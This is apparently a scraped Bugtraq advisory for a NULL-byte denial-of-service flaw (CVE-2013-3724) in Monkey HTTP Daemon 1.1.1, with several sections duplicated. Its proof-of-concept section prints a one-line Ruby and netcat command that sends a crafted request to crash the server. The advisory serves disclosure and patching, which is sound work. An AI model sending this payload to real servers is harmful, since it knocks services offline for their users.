Monkey HTTP Daemon NULL Byte Denial of Service Vulnerability
BID:60210
Info
Monkey HTTP Daemon NULL Byte Denial of Service Vulnerability
| Bugtraq ID: | 60210 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: |
CVE-2013-3724 |
| Remote: | Yes |
| Local: | No |
| Published: | May 28 2013 12:00AM |
| Updated: | Mar 19 2015 09:15AM |
| Credit: | Doug Prostko |
| Vulnerable: |
Gentoo Linux |
| Not Vulnerable: | |
Discussion
Monkey HTTP Daemon NULL Byte Denial of Service Vulnerability
Monkey HTTP Daemon is prone to a remote denial-of-service vulnerability.
Successfully exploiting this issue may allow the attacker to cause denial-of-service conditions.
Monkey HTTP Daemon 1.1.1 is vulnerable; other versions may also be affected.
Monkey HTTP Daemon is prone to a remote denial-of-service vulnerability.
Successfully exploiting this issue may allow the attacker to cause denial-of-service conditions.
Monkey HTTP Daemon 1.1.1 is vulnerable; other versions may also be affected.
Exploit / POC
Monkey HTTP Daemon NULL Byte Denial of Service Vulnerability
An attacker can use readily available tools to exploit this issue.
The following example request and exploit is available:
ruby -e 'puts "GET /\x00 HTTP/1.1\r\n\r\n"'|netcat localhost 2001
An attacker can use readily available tools to exploit this issue.
The following example request and exploit is available:
ruby -e 'puts "GET /\x00 HTTP/1.1\r\n\r\n"'|netcat localhost 2001
Solution / Fix
Monkey HTTP Daemon NULL Byte Denial of Service Vulnerability
Solution:
Updates are available. Please see the references or vendor advisory for more information.
Solution:
Updates are available. Please see the references or vendor advisory for more information.
References
Monkey HTTP Daemon NULL Byte Denial of Service Vulnerability
References:
References:
- #181 DOS vulnerability (Monkey)
- Monkey Homepage (Monkey)